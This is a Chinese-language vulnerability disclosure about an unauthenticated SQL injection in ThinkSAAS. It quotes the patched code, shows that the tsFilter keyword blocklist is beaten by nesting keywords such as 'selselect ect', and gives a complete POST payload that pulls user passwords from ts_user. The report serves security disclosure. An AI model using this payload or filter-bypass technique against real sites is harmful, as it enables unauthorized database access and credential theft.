### 简要描述：
ThinkSAAS最新版绕过过滤继续注入。
无gpc限制，无需登录认证。
### 详细说明：
旧版本分析如下： [WooYun: ThinkSAAS SQL注入#6](http://www.wooyun.org/bugs/wooyun-2013-046826)
在新版本里进行了两处修复：
第一处修复，文件\app\tag\action\add.php：
```
case "do":
$objname = tsFilter($_POST['objname']);
$idname = tsFilter($_POST['idname']);
$objid = intval($_POST['objid']);
$tags = t($_POST['tags']);
$new['tag']->addTag($objname,$idname,$objid,$tags);
tsNotice('标签添加成功！');
break;
```
把之前的t函数换成了tsFilter函数。
第二处修复，文件\thinksaas\tsApp.php：
```
foreach ( $row as $key => $value ) {
$value = $this->escape ( $value );
//$vals [] = "`$key` = $value";
$vals [] = "{$key} = {$value}";
```
对$value变量进行了escape过滤
添加了新的构造sql语句的赋值语句
但是这种修补我们依然可以进行注入。
来看看tsFilter函数：
```
function tsFilter($value){
$value = trim($value);
//定义不允许提交的SQl命令和关键字
$words = array();
$words[] = "add ";
$words[] = "and ";
$words[] = "count ";
$words[] = "order ";
$words[] = "table ";
$words[] = "by ";
$words[] = "create ";
$words[] = "delete ";
$words[] = "drop ";
$words[] = "from ";
$words[] = "grant ";
$words[] = "insert ";
$words[] = "select ";
$words[] = "truncate ";
$words[] = "update ";
$words[] = "use ";
$words[] = "--";
$words[] = "#";
$words[] = "group_concat";
$words[] = "column_name";
$words[] = "information_schema.columns";
$words[] = "table_schema";
$words[] = "union ";
$words[] = "where ";
$words[] = "alert";
$value = strtolower($value);//转换为小写
foreach($words as $word){
if(strstr($value,$word)){
$value = str_replace($word,'',$value);
}
}
return $value;
}
```
这个很容易的就可以看出，诸如将“select”改为“selselect ect”,就可以绕过过滤。
所以最终可以注入出数据的exp为：
EXP：
```
链接：http://localhost/thinksaas/index.php?app=tag&ac=add&ts=do
post：objname=article=1, tagname=(selselect ect pwd frofrom m ts_user limit 0,1), count_group&idname=1&objid=1&tags=111111
```
[<img src="https://images.seebug.org/upload/201403/11130241c3aefbdb9bf62dc449a6268c5990641b.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/11130241c3aefbdb9bf62dc449a6268c5990641b.png)
[<img src="https://images.seebug.org/upload/201403/111302488e036adcf4c7bdfd99acf6f0b6d8fdff.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/111302488e036adcf4c7bdfd99acf6f0b6d8fdff.png)
### 漏洞证明：
见详细说明
京公网安备 11010502034610号
暂无评论